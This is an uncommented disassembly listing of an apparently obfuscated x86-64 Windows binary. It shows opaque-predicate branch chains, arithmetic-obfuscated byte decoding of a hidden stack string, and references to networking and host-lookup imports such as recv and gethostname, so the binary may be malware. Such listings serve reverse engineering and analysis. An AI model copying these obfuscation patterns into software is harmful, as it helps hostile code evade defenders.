cmp r8, rax
je 0x1400c6630
mov r8, rax
lea r9, [rax + 9]
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1400c704a
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1400c702e
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400c6819
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400c67ff
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400c67e5
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400c6a0a
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x1400c69c4
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400c6985
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400c695b
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400c6630
lea r8, [r9 + 0x2a]
lea r9, [r8 + 0x80]
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400c692e
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400c6910
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400c68f4
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400c68d8
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400c68c0
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400c68a2
lea rax, [r9 + 3]
cmp r8, rax
ja 0x1400c687c
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400c6853
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400c6835
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400c6630
mov r8, rax
lea r9, [rax + 9]
jmp 0x1400c6630
lea ecx, [r10 - 0x68]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x28
jmp 0x1400c6622
lea ecx, [r10 + 8]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x38
jmp 0x1400c6593
add r10b, 0x78
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x48
jmp 0x1400c6530
lea edx, [r10 + 0x40]
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, dl
jmp 0x1400c6edf
sub r10b, 0x50
movzx eax, r11b
and al, r10b
mov ecx, Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, r10b
inc r9
dec rdi
inc rdi
jmp 0x1400c6512
add r10b, 0x20
movzx eax, r11b
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, r10b
dec rdi
inc rdi
jmp 0x1400c6512
lea edx, [r10 - 0x70]
movzx eax, r11b
and al, dl
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, dl
jmp 0x1400c6f25
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
add r8, r9
jmp 0x1400c6f63
add r10b, 0x70
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 0x10
jmp 0x1400c6f63
lea edx, [r10 - 0x20]
movzx eax, r11b
and al, dl
add al, al
movzx ebx, r11b
sub bl, al
sub bl, 0x20
add bl, dl
jmp 0x1400c6f95
add r10b, 0x50
movzx eax, r11b
and al, r10b
add al, al
movzx ebx, r11b
sub bl, al
sub bl, 0x30
add bl, r10b
jmp 0x1400c6fc0
sub r10b, 0x40
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 0x40
movzx eax, byte [rbp + rdi + 0x310]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c6512
sub r10b, 0x28
movzx eax, r10b
and al, r11b
mov ecx, recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
mov byte [rbp + rdi + 0x310], bl
inc rdi
jmp 0x1400c6512
lea edx, [r10 + 0x48]
movzx eax, dl
and al, r11b
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
cmp r9, 0x20
jb 0x1400c6976
lea edx, [r10 - 0x50]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_27
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x1400c6edf
lea ecx, [r10 - 0x48]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 8
cmp r8, 0x400
jae 0x1400c6dc2
lea rax, [r9 + 0x10]
cmp r8, rax
jbe 0x1400c6cfd
lea ecx, [r10 + 0x10]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x70
jmp 0x1400c699e
lea ecx, [r10 + 0x28]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x18
lea rax, [r9 + r8]
cmp rax, 2
je 0x1400c6ddf
lea rax, [r9 + 2]
cmp r8, rax
jbe 0x1400c6c52
lea edx, [r10 - 0x58]
movzx eax, dl
and al, r11b
mov ecx, 0x34
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
jmp 0x1400c69d9
add r10b, 0x70
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 0x10
movzx eax, byte [rbp + rdi + 0x310]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c6512
sub r10b, 0x20
movzx eax, r11b
and al, r10b
add al, al
movzx ebx, r11b
sub bl, al
sub bl, 0x20
add bl, r10b
jmp 0x1400c6fc0
lea edx, [r10 + 0x50]
movzx eax, r11b
and al, dl
add al, al
movzx ebx, r11b
sub bl, al
sub bl, 0x30
add bl, dl
jmp 0x1400c6f95
sub r10b, 0x40
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 0x40
jmp 0x1400c6f63
add r10b, 0x30
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x50
add r8, r9
jmp 0x1400c6f63
lea ecx, [r10 - 0x60]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x60
jmp 0x1400c6f25
add r10b, 0x10
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x70
dec rdi
inc rdi
jmp 0x1400c6512
add r10b, 0x80
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
add bl, 0x80
inc r9
dec rdi
inc rdi
jmp 0x1400c6512
lea edx, [r10 - 0x10]
mov ecx, gethostname
jmp 0x1400c6ecf
lea rax, [r9 + 0x10]
cmp r8, rax
jae 0x1400c6b8d
lea ecx, [r10 - 0x38]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x78
jmp 0x1400c6a1f
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c6bcb
sub r10b, 0x30
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
movzx eax, byte [rbp + rdi + 0x310]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c6512
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c6bf4
add r10b, 0x80
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
add bl, 0x80
jmp 0x1400c6f63
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c6c20
add r10b, 0x10
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x70
add r8, r9
jmp 0x1400c6f63
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c6a1f
sub r10b, 0x40
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 0x40
inc r9
dec rdi
inc rdi
jmp 0x1400c6512
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c6c6d
lea edx, [r10 + 0x38]
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x1400c6ecf
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c6c9c
add r10b, 0x58
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x68
dec rdi
inc rdi
jmp 0x1400c6512
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400c6cc3
lea ecx, [r10 - 0x68]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x28
jmp 0x1400c6f95
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400c69d9
sub r10b, 0x48
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 8
movzx eax, byte [rbp + rdi + 0x310]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c6512
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c6d37
sub r10b, 0x60
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x60
movzx eax, byte [rbp + rdi + 0x310]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c6512
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c6d60
add r10b, 0x50
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 0x30
jmp 0x1400c6f63
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c6d8c
sub r10b, 0x20
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 0x20
add r8, r9
jmp 0x1400c6f63
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c699e
sub r10b, 0x70
movzx eax, r11b
and al, r10b
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, r10b
inc r9
dec rdi
inc rdi
jmp 0x1400c6512
lea edx, [r10 + 0x40]
movzx eax, dl
and al, r11b
movzx ecx, r11b
sub cl, al
add cl, 0x20
lea ebx, [rcx + rcx]
add bl, dl
jmp 0x1400c6f25
lea edx, [r10 - 0x30]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
jmp 0x1400c6f95
add r10b, 0x78
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x48
movzx eax, byte [rbp + rdi + 0x310]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c6512
sub r10b, 0x18
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x58
jmp 0x1400c6fc0
sub r10b, 0x38
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x78
jmp 0x1400c6f63
add r10b, 0x38
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
add r8, r9
jmp 0x1400c6f63
lea edx, [r10 - 0x58]
movzx eax, dl
and al, r11b
mov ecx, 0x34
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
jmp 0x1400c6f25
add r10b, 0x18
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
dec rdi
inc rdi
jmp 0x1400c6512
lea edx, [r10 - 8]
mov ecx, Ordinal_32
movzx eax, dl
and al, r11b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
add r10b, 0x78
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x48
add r10b, r11b
mov byte [rbp + rdi + 0x310], r10b
inc r9
dec rdi
inc rdi
jmp 0x1400c6512
movzx r10d, dil
lea ecx, [r10 + 0x28]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x18
add r10b, 8
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x38
add r10b, bl
add r10b, r11b
mov byte [rbp + rdi + 0x310], r10b
add r8, r9
jmp 0x1400c6f63
lea rax, [rdi + r15]
and sil, al
add sil, sil
sub r11b, sil
lea ebx, [rax + r11]
sub bl, 0x38
movzx eax, bl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400c6512
lea rcx, [rdi + r13]
and sil, cl
add sil, sil
movzx ebx, r11b
sub bl, sil
sub bl, 0x48
add bl, cl
movzx r10d, dil
sub r10b, 0x68
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x28
add r10b, r11b
movzx eax, r10b
mov byte [rbp + rdi + 0x310], al
inc r9
add rax, r9
sub rdi, rax
lea edx, [rdi + 0x60]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rdi + 0x310], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x310]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c6512
lea rax, [rdi + r12]
and sil, al
add sil, sil
sub r11b, sil
lea ebx, [rax + r11]
sub bl, 0x68
movzx eax, byte [rbp + rdi + 0x310]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c6512
sub r10b, 0x18
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x58
jmp 0x1400c6510
add r10b, 0x58
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x68
jmp 0x1400c6500
lea rax, [rbp + 0x15b2970]
jmp 0x1400c7085
lea rax, [rbp + 0x1232238]
jmp 0x1400c7085
lea rax, [rbp + 0x310]
mov qword [rsp + 0x70], rax
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x4710]
call fcn.1400d5660
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rbp + 0x4738], rax
mov rax, qword [rbp + 0x4820]
mov qword [rbp + 0x4740], rax
lea rdx, [rbp + 0x47b0]
lea rcx, [rbp + 0x46e0]
call fcn.1400cc540
lea rdx, [rbp + 0x4798]
lea rcx, [rbp + 0x46f8]
call fcn.1400cc510
lea rcx, [rbp + 0x46e0]
call fcn.140109fa0
movzx ebx, byte [rsp + 0x31]
mov rcx, qword [0x1402c9958]
mov rax, qword [0x1402cd968]
nop dword [rax]
test rcx, rcx
je 0x1400c7112
test rax, rax
jne 0x1400c72b4
lea rax, [rbp + 0x78]
mov qword [rsp + 0x40], rax
lea rdx, [rbp + 0x98]
mov rcx, qword [0x1402cdd78]
call fcn.140125080
nop
mov rcx, rax
call fcn.140001ca0
mov rdi, rax
movzx edx, bl
lea rcx, [rbp + 0x78]
call fcn.140002dc0
nop
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rdi + r8], 0
jne 0x1400c7150
mov rdx, rdi
lea rcx, [rbp + 0x78]
call fcn.140004830
nop
lea rdx, [rbp + 0x78]
lea rcx, [rbp - 8]
call fcn.1400b99e0
mov rcx, rax
call fcn.140001ca0
lea r8, [rbp + 0x4790]
lea rdx, [0x140251ff0]
mov rcx, rax
call fcn.140006a30
mov rdi, qword [rbp + 0x4790]
lea rcx, [rbp - 8]
call fcn.140002a20
nop
lea rcx, [rbp + 0x98]
call fcn.140002a20
xor esi, esi
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], 8
lea r9, [rbp + 0x4778]
lea r8, [rdi + 0x10]
xor edx, edx
mov rcx, qword [0x1402cdd78]
call fcn.140125ed0
mov rax, qword [rbp + 0x4778]
mov qword [0x1402cd968], rax
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], 8
lea r9, [rbp + 0x4770]
lea r8, [rdi + 0x10]
xor edx, edx
mov rcx, qword [0x1402cdd78]
call fcn.140125ed0
mov r8, qword [rbp + 0x4770]
add r8, 0x7d8
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], 8
lea r9, [rbp + 0x4788]
xor edx, edx
mov rcx, qword [0x1402cdd78]
call fcn.140125ed0
mov r8, qword [rbp + 0x4788]
add r8, qword [0x1402c77a8]
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], 8
lea r9, [rbp + 0x4780]
xor edx, edx
mov rcx, qword [0x1402cdd78]
call fcn.140125ed0
mov rcx, qword [rbp + 0x4780]
mov qword [0x1402c9958], rcx
cmp rcx, 0x10000
jbe 0x1400c729d
mov rax, qword [0x1402cd968]
cmp rax, 0x10000
ja 0x1400c7100
xor ecx, ecx
mov qword [0x1402c9958], rcx
xor eax, eax
mov qword [0x1402cd968], rax
jmp 0x1400c7100
mov rcx, qword [0x1402cd9f0]
call fcn.1400ac390
mov rcx, qword [0x1402cd9e8]
call fcn.140060db0
mov byte [rbp + 0x2d8], 0xe3
mov byte [rbp + 0x2d9], Ordinal_200
mov byte [rbp + 0x2da], Ordinal_211
mov byte [rbp + 0x2db], Ordinal_211
mov byte [rbp + 0x2dc], Ordinal_211
mov byte [rbp + 0x2dd], Ordinal_200
mov byte [rbp + 0x2de], Ordinal_200
mov byte [rbp + 0x2df], Ordinal_211
mov byte [rbp + 0x2e0], 0xbd
mov byte [rbp + 0x2e1], 0xb5
mov byte [rbp + 0x2e2], 0xb6
mov byte [rbp + 0x2e3], 0x42
mov byte [rbp + 0x2e4], 0xec
mov byte [rbp + 0x2e5], __WSAFDIsSet
mov byte [rbp + 0x2e6], 0xb1
mov byte [rbp + 0x2e7], 0xae
mov byte [rbp + 0x2e8], 0xa4
mov byte [rbp + 0x2e9], 0xa4
mov byte [rbp + 0x2ea], 0xa6
mov byte [rbp + 0x2eb], 0xe2
mov byte [rbp + 0x2ec], 0xde
mov byte [rbp + 0x2ed], Ordinal_200
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2ee], xmm0
mov qword [rbp + 0x2fe], rax
mov dword [rbp + 0x306], eax
mov byte [rbp + 0x30a], al
movabs rsi, 0x31e84016ffb136b8
movabs r14, 0xc12a40cefd3aec78
movabs r12, 0x5d59c0a0fdd87f08
movabs r15, 0x95b8c044ff13a428
movzx edx, byte [rsp + 0x31]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x1402cdf20]
mov r9, qword [0x1402cdf18]
nop
xor ebx, ebx
cmp rbx, 0x33
jae 0x1400c7eed
movzx r11d, byte [rbp + rbx + 0x2d8]
mov edi, r11d
nop dword [rax + rax]
cmp r8, rbx
ja 0x1400c7ee1
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x1400c7422
lea rcx, [rbx + rsi]
mov rax, rdi
and rax, rcx
imul rdx, rax, 0xfffffffffffffffe
add rdx, rdi
add rdx, rcx
sub dl, 8
jmp 0x1400c745c
je 0x1400c7e73
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c7ded
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400c7dc1
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400c7d7e
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c7d59
movzx r10d, bl
cmp r9, rbx
ja 0x1400c7ed5
lea rax, [r9 + 0x3e8]
cmp r8, rax
jae 0x1400c7496
lea edx, [r10 + 0x18]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_46
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400c74d0
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400c7d14
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c7cee
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c7cd1
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400c7ca4
nop word [rax + rax]
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x1400c7a27
nop dword [rax]
lea rcx, [r9 + 0x3e8]
cmp r8, rcx
je 0x1400c7a0d
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c79e8
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400c79c2
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400c79a5
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400c7982
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400c7962
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1400c7945
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400c7925
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400c78f4
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400c74e0
mov r8, rcx
lea r9, [rcx + 0x400]
lea rax, [r9 + 0x20]
cmp rcx, rax
jb 0x1400c7eb9
lea rcx, [r9 + 0x1000]
cmp r8, rcx
jb 0x1400c7e9d
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400c76c8
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400c76ae
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400c7694
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1400c78a7
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400c786a
lea rax, [r9 + 1]
cmp r8, rax
jb 0x1400c782f
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1400c7805
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400c74e0
mov r8, rcx
lea r9, [rcx + 0x28]
lea rax, [r9 + 4]
cmp rcx, rax
ja 0x1400c77d4
lea rcx, [r9 + 0x40]
cmp r8, rcx
ja 0x1400c77b4
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1400c7797
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x1400c7777
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400c775f
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400c7745
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400c7723
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400c76fe
lea rax, [r9 + 3]
cmp r8, rax
ja 0x1400c76e4
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400c74e0
mov r8, rcx
lea r9, [rcx + 5]
jmp 0x1400c74e0
lea ecx, [r10 - 0x18]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x58
jmp 0x1400c74d0
lea ecx, [r10 + 0x78]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x48
jmp 0x1400c7460
add r10b, 8
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x38
jmp 0x1400c73f0
lea ecx, [r10 - 0x40]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x40
jmp 0x1400c7d2c
add r10b, 0x50
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x30
inc r9
dec rbx
inc rbx
jmp 0x1400c73d2
sub r10b, 0x20
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x20
dec rbx
inc rbx
jmp 0x1400c73d2
lea ecx, [r10 + 0x70]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x10
jmp 0x1400c7d97
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add r8, r9
jmp 0x1400c7dd5
sub r10b, 0x70
movzx eax, r10b
and al, r11b
mov ecx, 8
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400c7dd5
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400c7e07
sub r10b, 0x50
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_27
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400c7e33
add r10b, 0x40
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rbx + 0x2d8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c73d2
sub r10b, 0x58
movzx eax, r10b
and al, r11b
mov ecx, 0x34
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
mov byte [rbp + rbx + 0x2d8], dl
inc rbx
jmp 0x1400c73d2
lea edx, [r10 + 0x38]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
cmp r9, 0x42
jb 0x1400c7820
lea ecx, [r10 + 0x50]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
lea edx, [rcx*2 - 0x60]
jmp 0x1400c7d2c
lea ecx, [r10 - 0x38]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x78
cmp r8, 0x61
jae 0x1400c7c71
lea rax, [r9 + 0x40]
cmp r8, rax
jbe 0x1400c7b8a
lea edx, [r10 - 0x10]
movzx eax, dl
and al, r11b
mov ecx, gethostname
jmp 0x1400c783e
lea ecx, [r10 + 0x58]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x68
lea rax, [r8 + r9]
cmp rax, 3
je 0x1400c7c8e
lea rax, [r9 + 0x1000]
cmp r8, rax
jbe 0x1400c7af6
lea edx, [r10 - 0x28]
movzx eax, dl
and al, r11b
mov ecx, recv
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400c787f
sub r10b, 0x70
movzx eax, r10b
and al, r11b
mov ecx, 8
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rbx + 0x2d8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c73d2
add r10b, 0x20
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400c7e33
lea edx, [r10 - 0x50]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_27
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400c7e07
add r10b, 0x40
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400c7dd5
sub r10b, 0x30
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
add r8, r9
jmp 0x1400c7dd5
lea edx, [r10 + 0x60]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400c7d97
sub r10b, 0x10
movzx eax, r10b
and al, r11b
mov ecx, gethostname
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rbx
inc rbx
jmp 0x1400c73d2
add r10b, 0x80
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x80
inc r9
dec rbx
inc rbx
jmp 0x1400c73d2
lea ecx, [r10 + 0x10]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x70
jmp 0x1400c7d2c
lea rax, [r9 + 0x400]
cmp r8, rax
jae 0x1400c7a51
lea ecx, [r10 - 0x48]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 8
jmp 0x1400c78bc
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c7a8b
add r10b, 0x30
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x50
movzx eax, byte [rbp + rbx + 0x2d8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c73d2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c7ab2
lea ecx, [r10 + 0x10]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x70
jmp 0x1400c7e07
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c7adb
add r10b, 0x80
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x80
jmp 0x1400c7dd5
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400c78bc
lea edx, [r10 - 0x50]
mov ecx, Ordinal_27
jmp 0x1400c7d1d
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c7b11
lea edx, [r10 + 0x48]
mov ecx, 4
jmp 0x1400c7d1d
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c7b38
lea ecx, [r10 - 0x68]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x28
jmp 0x1400c7d97
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c7b64
add r10b, 8
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x38
add r8, r9
jmp 0x1400c7dd5
lea rax, [r9 + 2]
cmp r8, rax
